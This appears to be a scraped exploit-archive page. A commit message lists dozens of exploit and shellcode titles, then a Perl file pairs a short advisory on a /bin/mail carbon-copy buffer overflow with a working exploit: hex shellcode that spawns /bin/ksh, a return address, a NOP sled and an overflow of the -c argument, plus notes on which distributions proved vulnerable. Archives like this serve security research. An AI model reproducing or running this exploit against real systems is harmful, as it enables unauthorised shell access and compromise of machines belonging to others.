
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
57 lines
No EOL
2 KiB
Perl
Executable file
57 lines
No EOL
2 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/7760/info
|
|
|
|
A vulnerability has been discovered in the Linux /bin/mail utility. The problem occurs when processing excessive data within the carbon copy field. Due to insufficient bounds checking while parsing this information it may be possible to trigger a buffer overrun.
|
|
|
|
An attacker could exploit this issue to execute arbitrary commands. It should be noted that local exploitation may be inconsequential, however a malicious e-mail message or CGI interface could be a sufficient conduit for remote exploitation.
|
|
|
|
#!/usr/bin/perl
|
|
#
|
|
#
|
|
# Released under the GPL by a bored Vulndev member
|
|
# email: mark@vulndev.org
|
|
#
|
|
# The User 'cannot have expectations of privacy'.
|
|
#
|
|
# For the Script to work you will need to:
|
|
# Run it, press 'return' once, then '.' then 'return'
|
|
#result = Shell (if you have /bin/ksh!)
|
|
#
|
|
# Anything you do with this script is your own problem,
|
|
# dont forget if you print it off, recycle!
|
|
# if you dont print it off, do so anyway
|
|
# and use if for expensive toilet paper.
|
|
#
|
|
# Systems Tested on: (Please let me know the outcome of your own box)
|
|
# Redhat 9.0 -- Vulnerable
|
|
# Redhat 9.0 with St Jude and St Michael -- Not Vulnerable
|
|
# Slackware 8.1 -- Vulnerable
|
|
# Slackware 9.0 -- Not Vulnerable
|
|
# Debian 3.0 (Testing) -- May be vulnerable.. needing comfirmation.
|
|
$shellcode =
|
|
"\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07".
|
|
"\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b".
|
|
"\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff".
|
|
"\xff\xff\x01\x2f\x62\x69\x6e\x2f\x6b\x73\x68\x01".
|
|
"";
|
|
$ret = 0xbffff714;
|
|
$buf = 8232;
|
|
$egg = 9000;
|
|
$nop = "\x90";
|
|
$offset = 0;
|
|
if (@ARGV == 1)
|
|
{
|
|
$offset = $ARGV[0];
|
|
}
|
|
$addr = pack('l',($ret + $offset));
|
|
for ($i = 0; $i < $buf; $i += 4)
|
|
{
|
|
$buffer .= $addr;
|
|
}
|
|
for ($i = 0; $i < ($egg - length($shellcode) - 100); $i++)
|
|
{
|
|
$buffer .= $nop;
|
|
}
|
|
$buffer .= $shellcode;
|
|
exec("mail",'-s','Test','-c',$buffer,'root@localhost');
|
|
sendkeys("{CR}");
|
|
sendkeys("."); |